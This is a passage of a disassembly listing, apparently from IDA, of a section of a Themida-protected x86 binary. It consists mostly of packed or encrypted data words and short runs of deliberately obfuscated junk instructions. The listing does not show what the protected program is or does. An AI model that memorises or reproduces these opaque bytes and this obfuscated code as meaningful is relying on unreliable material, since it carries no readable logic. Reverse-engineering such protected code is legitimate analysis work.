		dd 4EB8FF68h, 0B330927Dh, 1442A0CCh, 160F218Ah,	1442A06Dh
		dd 6A7956FBh, 42A016EDh, 25BC414h, 0B97D4EBBh, 0BE309212h
		dd 4BA7F632h, 8E879939h, 144239E9h, 21A2F565h, 0AA0CA085h
		dd 21AA0A51h, 46CEE177h, 0E6E5B92Bh, 51CE3092h,	1442A0AAh
		dd 0AF54BF28h, 2B1442A0h, 429BB18Fh, 87BFDBB6h,	93DDAECh
		dd 9212B95Bh, 8B73BE30h, 3D57A0E8h, 75104860h, 6A110A1Ch
		dd 0E814427Fh, 0B8912F7Fh, 0B3C56098h, 6E1592DEh, 0EC1442A0h
		dd 744E3C83h, 7D997412h, 42A06D12h, 6E80E914h, 9212B999h
		dd 42A06E15h, 3C83EC14h, 795621AAh, 21AA1A61h, 93D35E6Dh
		dd 9212B9F1h, 42A06E15h, 3383EC14h, 46F6CBC1h, 8A9CDB10h
		dd 6E1592B5h, 0EC1442A0h, 7D4E3C83h, 209205C6h,	38620429h
		dd 9570FCB8h, 896E6779h, 4614428Fh, 0A2B4CAA8h,	0D3E6E5CDh
		dd 1DAEF193h, 0C7597A56h, 0BF0E72FAh, 925299F2h, 0BAC08120h
		dd 1123D4AFh, 9B9C24Bh,	6173916Bh, 18F4928Ch, 910EECFEh
		dd 1442A0EAh, 0F58A0769h, 611442A0h, 9E07E6F8h,	0B9D5B04Eh
		dd 0FFD4E681h, 0E1777D4Eh, 0B92B46CEh, 0FB1BF492h, 0FE1AF5C3h
		dd 0C0D22BC6h, 60B0CAA6h, 93CBE7C2h, 0A0FF8401h, 0F25B1442h
		dd 4EB28799h, 6E15927Dh, 0EC1442A0h, 92B35A83h,	42A06215h
		dd 3787F014h, 90A2BE99h, 5621AABBh, 9219607Ah, 0C7258E20h
		dd 0A6857D2Ah, 66BF5A92h, 8AFC8E54h, 6958F88h, 491E3011h
		dd 0F4925E6Dh, 0F79CFC1Ah, 83F4289Dh, 0D1953244h, 0A18B38AAh
		dd 102928F4h, 795629FEh, 1A972961h, 1442A065h, 0A32F88F1h
		dd 0DD84ADC7h, 89F32092h, 1BC4CA2Ch, 262512Ch, 43CF38CBh
		dd 7B164E66h, 650E8B69h, 0E91442C5h, 15923980h,	1442A06Eh
		dd 1E07BEDh, 6170C3CFh,	0AE00704Fh, 41EEA7C7h, 0F593E33Ch
		dd 2EC90117h, 799A61DEh, 0CF381442h, 7D4EE8BDh,	19607A56h
		dd 9B97D4Eh, 0C60C9F97h, 0F608627Ch, 5621AA21h,	9F116179h
		dd 0E903C5CCh, 8DDEFFFh, 5C67D4Eh, 42A08077h, 5E6D5814h
		dd 0AEF193D3h, 0AA12B91Dh, 6B09B921h, 0D1EF708Dh, 0F7EA67C8h
		dd 0B9CB669Eh, 7A18AAE4h, 5B77529Dh, 0B91BF002h, 7A18AA12h
		dd 7C4A82A0h, 1D2F889Eh, 63775648h, 0C67D4E1Ch,	0A0807705h
		dd 0DD4F1442h, 2C0A1383h, 9770B616h, 56F5CADCh,	58265E7Ch
		dd 0BC945A7Dh, 0FA9F7841h, 0BD9B69A1h, 0D8D46FA7h, 0A61B570Fh
		dd 0E893D397h, 0C48BDF76h, 53D0753Fh, 14425FACh, 5668C12Ah
		dd 0B214AE81h, 42A04E35h, 0D9F7D114h, 4CB506A1h, 7A56653Ah
		dd 21AA1960h, 7A5605C6h, 7D4E1960h, 6FBE3092h, 94EDE447h
		dd 35B54AB5h, 0B8211442h, 96B08CA6h, 7721AA4Fh,	1442A080h
		dd 0BDD3B14Fh, 556DD6ABh, 86BEDEB7h, 0D304D9EBh, 0F492F193h
		dd 0D3EDFF17h, 0EF8DDDF7h, 13E8FA12h, 7302744Eh, 3CDB7054h
		dd 92D4A9BBh, 0C4FC1AF4h, 54841722h, 68C12919h,	46603C56h
		dd 7721AAFFh, 1442A080h, 0E3556D58h, 53DA3D1Bh,	20F5079Bh
		dd 56F193D3h, 7210607Ah, 956A7C96h, 12B97D4Eh, 7A5621AAh
		dd 0A017EC69h, 7FB41442h
		dd 0E00DE0E1h, 0BA137CCDh, 0D4F2CC6Ah, 18AAEDC2h, 0A04239B6h
		dd 0A7101442h, 12B9C095h, 0B9923092h, 0B4C66199h, 42A0C8BBh
		dd 0B8359714h, 1442A1C3h, 0ADDDB480h, 0FC4DC7F3h, 336B8360h
		dd 4E2D3F98h, 18F795E5h, 1F31CC04h, 2744E4Ah, 0DBB9C8E8h
		dd 92F28DC5h, 9F792188h, 8AC82881h, 0A8321395h,	56714658h
		dd 4E19607Ah, 0A214AE7Dh, 7AD17494h, 0F010E9B5h, 0C6B08597h
		dd 0A0807705h, 6D581442h, 0F193D35Eh, 12B91DAEh, 0F49221AAh
		dd 0D2ECFE18h, 4E96DDF5h, 5F7B567Dh, 17F49218h,	1BF9C7FFh
		dd 0D49AAC05h, 5605C64Bh, 710F5F7Bh, 0A5407898h, 744EBE93h
		dd 0A0EE9512h, 36C1442h, 7D561CF1h, 21AA165Dh, 1A971D77h
		dd 6D46E435h, 5787ED4Dh, 7533C15Ah, 7D568E63h, 744E165Dh
		dd 0D1E3F7D6h, 2A7D56FCh, 93DA334Fh, 117721AAh,	0E9351A97h
		dd 93D3E6E5h, 536F4AE8h, 7D566C41h, 956F0D5Dh, 18A43F77h
		dd 3A0F213Dh, 7B567D4Eh, 18AA185Fh, 0A04239B6h,	74101442h
		dd 13257E98h, 5D7D563Eh, 6D21AA16h, 0E893D35Eh,	0EB501486h
		dd 0B913D771h, 42F9A94Eh, 0D7631614h, 0D192C188h, 30051780h
		dd 512C7B56h, 4E95DC35h, 9212B97Dh, 1BFCE220h, 13860257h
		dd 0C7BF1F10h, 6D334534h, 2A7D56E4h, 60FB334Fh,	87E0F6D4h
		dd 927D4E40h, 0BB958220h, 9521B9ABh, 0CE69A1B7h, 775112BCh
		dd 1442A080h, 0D35E6D58h, 2092F193h, 0FDAC8E73h, 81435563h
		dd 5F7B56F0h, 7721AA18h, 1442A080h, 0D35E6D58h,	0F492F193h
		dd 0D0EAFC1Ah, 9292D9F5h, 0A0CCB330h, 337B1442h, 7173222Dh
		dd 0EBCA66B7h, 4A6C7ED7h, 5F7B5679h, 0B921AA18h, 6E159212h
		dd 0EC1442A0h, 21AA3C83h, 93D30BC0h, 5F7B56F1h,	0D6744E18h
		dd 976CE9FAh, 431442A0h, 9A6F81DAh, 365F7B56h, 5621AA8Fh
		dd 0AA185F7Bh, 0D30BC021h, 12B9F193h, 0A06E1592h, 83EC1442h
		dd 927D4E3Ch, 0C3FB1BF4h, 0C7FF19F5h, 0A7C1D32Ch, 9269B0CCh
		dd 0EBFD19F4h, 12B99C25h, 0A06E1592h, 8CEC1442h, 0A0D6AD2Ah
		dd 1B841442h, 42A0CBB0h, 0C51E8714h, 0E0FCD775h, 26FB0DA8h
		dd 795621AAh, 825B2961h, 24EB2A62h, 500E3060h, 0A712F2DEh
		dd 3EBB4B64h, 144241B9h, 4153AC15h, 0F193D36Ch,	185F7B56h
		dd 12B97D4Eh, 1DAE21AAh, 309212B9h, 42A0CCB3h, 11EE8A14h
		dd 0CD26C1F9h, 566CF5BBh, 4E1B6278h, 5E7C567Dh,	5621AA17h
		dd 0AA175E7Ch, 5605C621h, 0AC0E5E7Ch, 42A0482Fh, 8B9D0614h
		dd 567D4EB6h, 15EA677Ch, 0C11442A0h, 4E62B351h,	6DC6682Ah
		dd 21AACD14h, 817F492h,	42A0F48Bh, 0A0F96214h, 0A0EE958Eh
		dd 0B6D1442h, 42A0E98Eh, 70FC6514h, 0A7427A94h,	5E6DC095h
		dd 56F193D3h, 9C0E5E7Ch, 0F3770846h, 0FACFE1A7h, 9512744Eh
		dd 1442A0EEh, 1CF1036Ch, 175E7C56h, 0FAA618AAh,	0FA973FAAh
		dd 772E0315h, 1442A080h, 0DB9FDD4Fh, 0F9314926h, 3FFEFE5Eh
		dd 0E513E8FAh, 15643FDDh, 4DE82038h, 0F21BCF4h,	0F193D33Ah
		dd 175E7C56h, 12B97D4Eh, 0F49221AAh, 0D3EDFF17h, 0AA94DBF9h
		dd 839F7A18h, 12B99C71h, 0A0621592h, 87F01442h,	567D4E40h
		dd 92175E7Ch, 890619F4h, 1442A0F2h, 669EF760h, 0F4BF6BCBh
		dd 0CAD7AE8Eh, 0AEC596B8h, 879C7614h, 42A0750Ah, 1F78E114h
		dd 653A4CE7h, 598205C6h, 697B561Dh, 9257FE27h, 42A06E15h
		dd 3C83EC14h, 0F9D6744Eh, 0FC0EA9E1h, 0AA12B927h, 0A0807721h
		dd 6D581442h, 0F193D35Eh, 159212B9h, 1442A06Eh,	4E3C83ECh
		dd 2B7C567Dh, 0CFAC384Ch, 4E175EB7h, 0DAF9D674h, 44E8283Bh
		dd 0A9BB14AAh, 5E7C56D4h, 7721AA17h, 1442A080h,	0B7556D58h
		dd 0F18CC4D8h, 5F718765h, 0E893D38Ah, 0DF5C6F4Ah, 1442A018h
		dd 0E2F44DB6h, 5E7C560Dh, 0B3309217h, 1442A0CCh, 0ED0F218Ah
		dd 0CE30921Ch, 42A0AA51h, 54BF2814h, 1442A0AFh,	5836C22Bh
		dd 5D6F0A42h, 44B6943h,	807721AAh, 581442A0h, 76F3556Dh
		dd 1442A081h, 0FDD2E44Dh, 92F193D3h, 0A0CCB330h, 1A8A1442h
		dd 0ECE6C1B9h, 4D5FB84Bh, 33345933h, 0F64794A0h, 4ECF166Fh
		dd 2B7C567Dh, 60FB3351h, 21AAC007h, 159212B9h, 1442A06Eh
		dd 923C83ECh, 0A0CCB330h, 218A1442h, 0B9C0490Fh, 15F49212h
		dd 1C2EC901h, 4C26C456h, 0A0C5BA37h, 28911442h,	56E8BDCFh
		dd 15EA677Ch, 0C11442A0h, 92B8FF58h, 0EE0016F4h, 0FCC6FBCCh
		dd 19647F5Eh, 8357DA70h, 0DF7AB20Bh, 8077F8CDh,	581442A0h
		dd 20925E6Dh, 96A8EE6Fh, 37D4E6D1h, 6DEA4C0Fh, 1442BF96h
		dd 744FDB44h, 0AE714658h, 6179561Dh, 0E9168838h, 0EB120EF9h
		dd 92471C2Eh, 6256BE30h, 0D8E642CBh, 0BE36CDC6h, 34A41442h
		dd 0ACF9B6Eh, 0FF4FA865h, 255B209Dh, 8EF71442h,	7D4EA77Ch
		dd 20921DAEh, 71A4766Bh, 8BA7B959h, 637756AEh, 6503CD2Bh
		dd 46607286h, 0CABF5367h, 0EBBD5FCEh, 1512182h,	2D661314h
		dd 21DA1442h, 0A514C5D1h, 0C1DBB755h, 0C5DFBB89h, 8799F28Dh
		dd 1D3512A2h, 7E967389h, 7803E846h, 9B14C5D1h, 4C33B0BDh
		dd 0A14C5D1h, 0D6EF48A1h, 0D1C2553Ah, 0DCE414C5h, 246E576Ah
		dd 0C8DA0892h, 0A75C7B2Bh, 1486C4AAh, 1705h, 20929400h
		dd 0F875D72Ch, 1442F103h, 990666CFh, 4019A5B1h,	0DC2B0E20h
		dd 245C7E56h, 29617956h, 2F677D5Bh, 31698761h, 346C8863h
		dd 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h, 6E1C68EEh
		dd 0BCE907EBh, 0E9FFF8D6h, 0E00EAD2Bh, 3BE9h, 0BD8B6000h
		dd 7E40E39h, 3304EF83h,	0BBC18BC9h, 0EDB88320h,	0BE04C783h
		dd 8, 0D21BE8D1h, 0C233D323h, 0F1850F4Eh, 41FFFFFFh, 0F9810789h
		dd 100h, 0FFD3820Fh, 0C361FFFFh, 7E8C88Bh, 0FE000000h
		dd 0B65D50FAh, 0BF669B27h, 8159486Ah, 631FC1h, 0CF816600h
		dd 0DB33B5E8h, 10E950h,	15A00000h, 28B3EB1Ah, 53CEF88Ch
		dd 96C8FFF8h, 8B5F23E8h, 0BD8B1904h, 7E41429h, 94CEE881h
		dd 958B625Bh, 7E40D31h,	7F9CF081h, 958B5615h, 7E4241Dh
		dd 119CC081h, 958B25DAh, 7E426C5h, 0FE96050h, 29000000h
		dd 44755BCh, 44DDE7E2h,	83AF72DBh, 958BC2B9h, 7E424BDh
		dd 19048F61h, 0BE8h, 54A05400h,	1D6F941Ah, 5F24E592h, 14E8h
		dd 8BE8CE00h, 0BF12FC17h, 4FBCBB4Ah, 207635C0h,	4650FD94h
		dd 8F0FC7h, 5F000000h, 759D895Ah, 8307E416h, 8B5202EBh
		dd 0E424F9BDh, 4B4B5F07h, 0FB815FB2h, 0FFFF9DB0h, 0FF61850Fh
		dd 0BA66FFFFh, 8D8D7624h, 7EBA980h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0FCC35545h,	0DC5D8691h, 8D014A9Ch
		dd 7E42039h, 909B529h, 8D8907E4h, 7E41B71h, 0A185C7FCh
		dd 0F407E42Dh, 6A00006Dh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0DA9FC355h,	0BF0F9B33h
		dd 7E8C3h, 25D10000h, 70779CD7h, 59958B2Ch, 5F07E42Dh
		dd 22B985C7h, 7E4h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 35CAE3C3h, 8EEFD8E8h
		dd 165DBD8Bh, 0BE6607E4h, 0B5FF4A09h, 7E422FDh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0B3C35242h, 0C94AE5E0h
		dd 0E81C27A1h, 10h, 8831CDE0h, 0AA2F1A91h, 3EB682D6h, 16BEEFC8h
		dd 1F9D8589h, 0E95A07E4h, 14h, 0C83F7E6Fh, 0AF300156h
		dd 8B6B78D1h, 28BB66A8h, 0AE7B23A4h, 306195FFh
		dd 0BD0107E4h, 7E43001h, 95FF006Ah
		db 41h,	0Eh, 0E4h
; ---------------------------------------------------------------------------


loc_5FCE0B:				; DATA XREF: Themida_:005844C4o
		pop	es
		mov	eax, eax
		jmp	short loc_5FCE1E
; ---------------------------------------------------------------------------
		dd 0B5D754DBh, 7E334F45h, 4537861Bh
		db 0C9h, 8Ah
; ---------------------------------------------------------------------------


loc_5FCE1E:				; CODE XREF: Themida_:005FCE0Ej
		dec	dl
		or	al, 6Dh
		push	cs


loc_5FCE23:				; CODE XREF: Themida_:005FCE47j
		test	al, 0E3h
		in	eax, 4Ah
		mov	cl, [ebx+72h]
		push	cs
		test	al, 0ABh
		aad	0EAh
		jnz	short near ptr loc_5FCE53+1
		jb	short loc_5FCE41
		test	al, 0E9h
		cli
		dec	edx
		mov	bh, [edx+4657AE5Dh]
		sti
		dec	edx
		mov	dl, [ebx]


loc_5FCE41:				; CODE XREF: Themida_:005FCE31j
		jnb	short near ptr loc_5FCE4F+2
		test	al, 0ABh
		aad	0EAh
		jnz	short loc_5FCE23
		jnb	short loc_5FCE59
		test	al, 0B4h
		sti
		dec	edx


loc_5FCE4F:				; CODE XREF: Themida_:loc_5FCE41j
		mov	ah, [eax+esi*2+0Eh]


loc_5FCE53:				; CODE XREF: Themida_:005FCE2Fj
		test	al, 36h
		clc
		dec	edx
		mov	bl, dh


loc_5FCE59:				; CODE XREF: Themida_:005FCE49j
		jo	short near ptr loc_5FCE68+1
		test	al, 0ABh
		aad	0EAh
		jnz	short loc_5FCE86
		das
		aam	16h
		inc	cl
		adc	al, [ebx]


loc_5FCE68:				; CODE XREF: Themida_:loc_5FCE59j
		sal	byte ptr [edi],	0F8h
		inc	ebx
		push	ebx
		cmpsd
		nop
		cmpsb
		out	dx, al
		dec	ecx
		push	esi
		and	ecx, edx
		mov	bl, 0BCh
		popa
		inc	edx
		das
		aam	2Bh
		inc	ecx
		adc	al, [ebx]
		sar	byte ptr [edi],	0F8h
		inc	ebx
		push	ebx
		cmpsd


loc_5FCE86:				; CODE XREF: Themida_:005FCE5Fj
		nop
		push	ecx
		out	dx, al
		dec	ecx
		push	esi
		and	ecx, edx
; ---------------------------------------------------------------------------
		db 8Fh,	0BCh, 61h
		dd 9AD42F42h, 312C1F8h,	43F80BC0h, 0D90A753h, 215649E9h
		dd 61BC9BD1h, 63D42F42h, 312C1F8h, 43F817C0h, 9E90A753h
		dd 215649E8h, 61BC97D1h, 0FDD42F42h, 312C1F9h, 43F863C0h
		dd 1C90A753h, 215649E8h, 61BCEFD1h, 7FD42F42h, 312C1F9h
		dd 43F86BC0h, 9A90A753h, 215649EBh, 61BCE7D1h, 12B8C342h
		dd 0DF152A50h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 206DC0D5h
		dd 0ED96A5AEh, 8A152AA8h, 0A0242945h, 0B496E367h, 0A1D5ADBAh
		dd 0CB152A54h, 415564C6h, 75EAD5BAh, 3AAE63CEh,	8DF106A9h
		dd 0AB534284h, 0FFEA2211h, 0A4245D55h, 0CF9C3AABh, 0EDDAC3B9h
		dd 86D7E3A8h, 44DAF745h, 0EAE9EED7h, 2359D7CEh,	0CFD22629h
		dd 0A851A2B9h, 62AD6C54h, 351A241h, 27BFEA66h, 0DDDB2FEEh
		dd 7512C136h, 2011294h,	0E860A0D9h, 79AEA5AEh, 0AE51A1ECh
		dd 22DC0941h, 8DFE4821h, 103773BAh, 21732ADFh, 0CA2428C8h
		dd 5BEA2DBFh, 8C152BFDh, 988150h, 0AFBAC030h, 0D2A5FBABh
		dd 0A42C89EFh, 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh
		dd 8AFD4AA8h, 0F251A245h, 212DC0D5h, 0DDDAA5AEh, 8668A15Ch
		dd 0A8ADE782h, 0CC152A54h, 8FCC30BAh, 529E2DB0h, 83FC69CEh
		dd 0E2A5B997h, 0F9FA31EFh, 0E860A0D9h, 79AEA5AEh, 20949A0Dh
		dd 8C551A23h, 21848132h, 215DDF6Eh, 174D629h, 6A985E00h
		dd 1402A5Ch, 549521A9h,	8A15C234h, 290BA245h, 61BEA5BEh
		dd 0A0242942h, 4D1957DFh, 0A8515E00h, 75532A54h, 4C763FD7h
		dd 19CDA153h, 9BFC69CEh, 0E2A5B997h, 0F9FA31EFh, 0E860A0D9h
		dd 79AEA5AEh, 20949A0Dh, 8C651A23h, 21848132h, 215DDF6Eh
		dd 174D629h, 6A985E00h,	1402A5Ch, 549521A9h, 8260A134h
		dd 6F5DDFCEh, 8A15D611h, 3BFDA245h, 0B91DC995h,	4919197h
		dd 4A38F2DEh, 2851A245h, 0E1AD5A8h, 0A851A25Eh,	8A1523EDh
		dd 2DA05545h, 86902586h, 2851A245h, 4B7332A3h, 2337AA8Eh
		dd 0A1BE4C97h, 0D5D8AE38h, 0CF9E4BA8h, 0A0936BB9h, 669E7F54h
		dd 0C8AD66C6h, 11D5FDFh, 0ED96AE38h, 8A152AA8h,	69C20E45h
		dd 582622B7h, 22FD6276h, 8AD5078Ch, 54D1A245h, 939125ABh
		dd 1151A245h, 8A152A5Dh, 7AD453B2h, 8A1FAF5Bh, 10E0A245h
		dd 4B93E256h, 39191EFh,	319577Fh, 23305E38h, 48DCD611h
		dd 2304A24Dh, 76D1A9B8h, 0A0242925h, 4D1957DFh,	0A8515E00h
		dd 0B92A54h, 0A7B2229Dh, 85E1D4h, 22DC0886h, 8DFE4821h
		dd 0F8E173BAh, 0FF9FA7FEh, 57564927h, 20D6A085h, 215DDF6Eh
		dd 174D629h, 6A985E00h,	1402A5Ch, 549521A9h, 8260A134h
		dd 6F5DDFCEh, 8A15D611h, 0AFE9A245h, 75152A54h,	4C7D5FD7h
		dd 20452653h, 0CA2428C8h, 5BEA2DBFh, 9BFB2BF5h,	85318694h
		dd 0AC59622Eh, 0AEA58050h, 0A42C89EFh, 0EBE957DDh, 61ADE7CEh
		dd 0DF152296h, 6CD24ECEh, 0FF9E4AA8h, 0A42C294Dh, 8AE96F93h
		dd 451A245h, 1787D5FEh,	23564662h, 4917868Ch, 0DDDB2FEFh
		dd 7512C136h, 28E9C494h, 0BE4CBDh, 0D57A0886h, 7668A358h
		dd 54142924h, 8A1DE89Dh, 2BBD2910h, 175D690h, 0D5DAAA30h
		dd 7650ED58h, 0A851A245h, 18EA80F8h, 0AFB585D8h, 58B9E2DFh
		dd 32DC0885h, 8DFE4821h, 103771BAh, 2173E394h, 83FB63CFh
		dd 0F79C2629h, 0EDDAC3B9h, 82D7E3A8h, 44DAF745h, 0EAE9EED7h
		dd 2359D7CEh, 0CFD22629h, 0A851A2B9h, 75BF8654h, 4C763FD7h
		dd 26DDA153h, 25FB6377h, 61775FCEh, 0CE825D42h,	0ECE4AAECh
		dd 29028EEh, 319577Fh, 23305E38h, 48DCD611h, 2304A24Dh
		dd 76D1A9B8h, 0A0242925h, 4D1957DFh, 0A8515E00h, 32732A54h
		dd 3376B77h, 0E860B0D9h, 7BAEA5AEh, 4B959232h, 4FD0923h
		dd 866801FEh, 0C9ADDFCCh, 43E96FDFh, 0FD51AA87h, 4E96C6DFh
		dd 0DDDAC2B9h, 8668A15Ch, 0A8ADE782h, 0EC152A54h, 0CEB824FDh
		dd 0FF8FA7FFh, 57564927h, 20A09A87h, 25FB0E03h,	61775FCEh
		dd 0CE825D42h, 0ECD8ACECh, 0A42C89EEh, 0EBE957DDh, 61ADE7CEh
		dd 0DF152296h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 2475C0D5h
		dd 0ED96A5AEh, 8A152AA8h, 0A0242945h, 261957DFh, 2C5E9179h
		dd 8A152A1Eh, 2C5E8979h, 8A152A16h, 2C5ECA79h, 8A152A49h
		dd 2C5E1379h, 8A152A38h, 2A5EF279h, 8A152A5Ch, 2A5EFA79h
		dd 8A152A6Bh, 0A851D6ACh, 8660D554h, 2559D7BAh,	61BCBFCEh
		dd 32DCF142h, 8DFE8038h, 0EDD871BAh, 8A42C3A8h,	0DDAEA245h
		dd 8260D558h, 1F438C8h,	7462DBFh, 43FBCEDFh, 3C6D553h
		dd 92B85E00h, 75152A54h, 0DDAEAE30h, 3B8FA75Ch,	0FB5649ECh
		dd 2079B0D9h, 7BAEA5AEh, 63E96FDDh, 0A851A258h,	75195FABh
		dd 32DCAA30h, 8DFE83E9h, 0C4CB2F16h, 7512C1FEh,	54142B96h
		dd 8A152ABDh, 0EDDAC345h, 82D7E3A8h, 3044BA45h,	9D8D0000h
		dd 7E40F49h, 2490B8h, 0F5858900h, 0E807E400h, 0
; ---------------------------------------------------------------------------
		pop	eax
		add	eax, 0Dh
		mov	[ebx], eax
		jmp	loc_5FF869
; ---------------------------------------------------------------------------
byte_5FD3D9	db 3 dup(0)		; DATA XREF: Themida_:005833D4o
		dd 921h	dup(0)
		db 0
byte_5FF861	db 3 dup(0)		; DATA XREF: Themida_:00583D74o
		dd 0
		db 0
; ---------------------------------------------------------------------------


loc_5FF869:				; CODE XREF: Themida_:005FD3D4j
		jmp	short loc_5FF877
; ---------------------------------------------------------------------------
		db 3Dh
		dd 1C106C7Fh, 17575FEDh
		db 0DDh, 3Dh, 0Ah
; ---------------------------------------------------------------------------


loc_5FF877:				; CODE XREF: Themida_:loc_5FF869j
		jmp	loc_5FFE2C
; ---------------------------------------------------------------------------
		jmp	loc_5FFE25
; ---------------------------------------------------------------------------
		db 4Ch,	74h, 52h
		dd 0AFCFA8BEh, 0F29051Bh, 7286657Bh, 0D1EDC8DEh, 0C59E643Dh
		dd 243ACEEAh, 82982C4Ah, 0E4FA8EA4h, 0A85BEF07h, 73847BF8h
		dd 0D5213A9h, 6179567Eh, 677D5B29h, 6987612Fh, 6C886331h
		dd 0C340A234h, 1442A03Ch, 20F42A9Ah, 4813C641h,	0E8C3DDEFh
		dd 0E7C694CCh, 0F19660CCh, 86DF9BFDh, 8AA4804Eh, 8BAB8452h
		dd 9B137C53h, 39CDCE4Bh, 188113A9h, 354D2AC8h, 0B38F5D23h
		dd 13EF0599h, 4914C1F9h, 38042EE6h, 0B8948BBBh,	0A4EB0A9Eh
		dd 0A63DBA0Ah, 0F40CC50Bh, 23C1538Bh, 5CF72F45h, 0C8DAF4D0h
		dd 26BAD0AEh, 0FCD7DA4Ch, 435A3B84h, 23391731h,	99283EEBh
		dd 58D563A9h, 3D53312Ch, 0A2058AA9h, 0C0B59278h, 81D12AECh
		dd 0DCDDA21Fh, 10796C4Eh, 0E1A320FEh, 0AF6BAAC1h, 0C61F3513h
		dd 3A1EE18Eh, 9CAD6BB2h, 774BB4E8h, 78C606Bh, 0B5000000h
		dd 3B89Eh, 0F4922D00h, 0D1EBFD19h, 0D7A5DDF3h, 0C95CDAFBh
		dd 953F709h, 0F4473CB9h, 0AA131442h, 0D2DA1951h, 0DD3D5934h
		dd 5051529Eh, 43E0F2A2h, 283E1C03h, 455D3AD8h, 3E60720Dh
		dd 0FC344A28h, 0A83261Dh, 0EF05E35Ah, 4F69455Bh, 4F6A4917h
		dd 0C1B7A120h, 86D62F3Eh, 0BBF30BE8h, 91480E20h, 0B7938ABAh
		dd 0BD2F099Dh, 1599EB26h, 0E7D94096h, 0ABE0F959h, 0F4C7C0D2h
		dd 1F72D40Dh, 7E942844h, 804E86A4h, 5E7A55A6h, 0FA328B26h
		dd 5D3AD896h, 0EE963345h, 6B44956Fh, 1F78134Bh,	81875DCFh
		dd 27B1B33Ah, 0E025F315h, 0B4000000h, 3169454Dh, 0EC678663h
		dd 2704B3DDh, 5FC1116Ah, 42F41DE2h, 3E50B914h, 102A061Ch
		dd 0F4542BD8h, 0C6DE1442h, 15EE7454h, 6CE995B6h, 14429297h
		dd 6F81DA43h, 0CFAB92D2h, 310B21B5h, 300DDB13h,	0FF7CE018h
		dd 0E0FED847h, 3E5C364Ch, 74127406h, 0A8437B9Bh, 4292463Dh
		dd 9D781414h, 0E3C82881h, 40B36C27h, 845F798Bh,	0DCA61868h
		dd 5231217Eh, 0E49B6173h, 0B022590Dh, 3EA49D4Bh, 5A748676h
		dd 0F4CE6280h, 4E607A56h, 53D5934h, 45232826h, 4B29F72Fh
		dd 0F7BEFD35h, 30D4034Fh, 63AA51CEh, 0AC291442h, 144263D7h
		dd 60C91A83h, 8AF5B14Eh, 6A8460AFh, 89677D11h, 9688C56Ch
		dd 0B30CCCE0h, 6E4BE97Bh, 0B14B4456h, 501442FCh, 31121C8Eh
		dd 0E6EE6043h, 4F61815Ah, 0AD8BF2B2h, 56320397h, 4875B78h
		dd 0E3487736h, 0BF9C3A8Ah, 0C2D46FA7h, 3A502EFCh, 3B5B3402h
		dd 42563503h, 4004CB0Ah, 1B4B1410h, 9C304624h, 426509A7h
		dd 0FC024F14h, 0DBE05B57h, 0FFFFFEE8h, 6C424D04h, 0B9F59F1Ch
		dd 0FF9B13A6h, 36D10923h, 0FAD7A5DDh, 7B2092E2h, 0F4CEB444h
		dd 0EC022436h, 0F1BFF70Fh, 4CAEFE12h, 0A6F628CFh, 2B3DA613h
		dd 0C0840165h, 5835805Dh, 3D53E740h, 63104860h,	13A6F699h
		dd 0D883C38Ch, 340E613Ah, 91ABBD16h, 768A69B4h,	11AF891Dh
		dd 4AE51D33h, 0B4C6E4BEh, 6DA5BD9Ah, 65B5F996h,	0F6F18603h
		dd 482213A6h, 633DD92Ah, 19720D45h, 55C72907h, 7466ACC3h
		dd 352E40E2h, 1442BE73h, 6A44D841h, 88D8EECCh, 8A80740Bh
		dd 6779E21Bh, 13634B44h, 61530D96h, 0D5B4521Ch,	0FF471C1h
		dd 0CB03F154h, 11715062h, 0F154EF94h, 0F6CF6B03h, 0AA039ED6h
		dd 6D4B1951h, 0D52E4824h, 44D2B41h, 0E7FDDB28h,	50FD358Eh
		dd 14710F8Dh, 0AB92D299h, 89FEB0CDh, 22287B57h,	0E5CCB1Fh
		dd 0E16DC68Eh, 4494ED03h, 367AC5D2h, 0D2E14159h, 6082940Eh
		dd 1A52704Ah, 8586E4Ch,	5F71916Ah, 3BADFF99h, 0FE2BC0BCh
		dd 0EDC8541Eh, 0ECFE99D1h, 0F264174Fh, 66100D33h, 99748636h
		dd 0B1280766h, 0AA51CE30h, 0ED3B76A6h, 3DA6F711h, 0C38C2Bh
		dd 92B50000h, 0A10115F4h, 0F37F3744h, 0C5DFF129h, 0A7CCCECh
		dd 5F8F0282h, 0B02D7D2Ah, 144263CBh, 0EA0C1E87h, 4ADEF8D4h
		dd 0AAF5D270h, 0E47FB7CBh, 0A6B8538Bh, 4999AD8Ch, 0A6B8CCABh
		dd 44936E84h, 60F44D69h, 0BF536F4Ah, 1DB1CFA9h,	7F132907h
		dd 0E0748C69h, 718D6806h, 0CBD19739h, 0C742D7F8h, 67425C6Eh
		dd 7E5DFB4Bh, 8597326Ah, 0EEBC54BFh, 0AC1F911h,	6C1390F2h
		dd 0EA1442F7h, 92D26F81h, 0FCADD0ABh, 2E1E4F64h, 902B63BCh
		dd 453AB767h, 11144265h, 0DFBA58A8h, 0DEF08BC3h, 0EB7109BCh
		dd 79h,	8AFCC67Ah, 546FB262h, 0CA2C2B1Bh, 4F50597Bh, 72906AF6h
		dd 948D9F3Ah, 1442B3ECh, 0A433734Ah, 5D7D5613h,	0FC879B0Dh
		dd 562FEAB6h, 465B61F6h, 0E8FA2D6Eh, 0BAD4B0C6h, 1D311026h
		dd 7C987389h, 0DBF7D2E8h, 39573147h, 9BB18FA5h,	0C914F107h
		dd 19CD4ECh, 1E4614A8h,	0CC000000h, 0FF37532Eh,	8D7D5264h
		dd 0A156D335h, 0F21442A0h, 39A9FA18h, 5D392DCEh, 6476CF22h
		dd 5C7E568Fh, 61795624h, 677D5B29h, 6987612Fh, 6C886331h
		dd 6F8B6634h, 768A6937h, 7A94703Eh, 7B9B7442h, 5452EE43h
		dd 4C2815Ah, 83000000h,	148704EAh, 0CF685C24h, 89000056h
		dd 0A868242Ch, 8900005Dh, 0C9BD2414h, 556D2A16h, 5D2404FFh
		dd 81DDF74Dh, 3E3AC1F5h, 4EC8195h, 89000000h, 4832424h
